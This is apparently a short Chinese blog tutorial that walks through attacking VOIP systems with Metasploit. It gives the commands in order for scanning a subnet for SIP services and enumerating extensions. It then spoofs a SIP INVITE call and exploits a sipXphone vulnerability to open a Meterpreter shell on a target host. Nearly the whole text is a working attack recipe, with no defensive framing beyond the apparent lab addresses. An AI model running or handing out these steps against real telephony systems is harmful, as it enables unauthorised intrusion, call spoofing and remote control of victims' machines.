渗透之——利用Metasploit渗透VOIP
原创
©著作权归作者所有：来自51CTO博客作者冰河技术的原创作品，请联系作者获取转载授权，否则将追究法律责任
1.对VOIP服务踩点
use auxiliary/scanner/sip/options
show options
set RHOSTS 192.168.109.0/24
run
2.扫描VOIP服务
use auxiliary/scanner/sip/enumerator
show options
set MINEXT 3000
set MAXEXT 3005
set PADLEN 4
set RHOSTS 192.168.109.0/24
run
3. 欺骗VOIP电话
use auxiliary/voip/sip_invite_spoof
set RHOSTS 192.168.109.141
set EXTENSION 4444
show options
run
4.渗透VOIP
use exploit/windows/sip/sipxphone_cseq
set RHOST 192.168.109.141
set payload windows/meterpreter/bind_tcp
set LHOST 192.168.109.137
show options
exploit
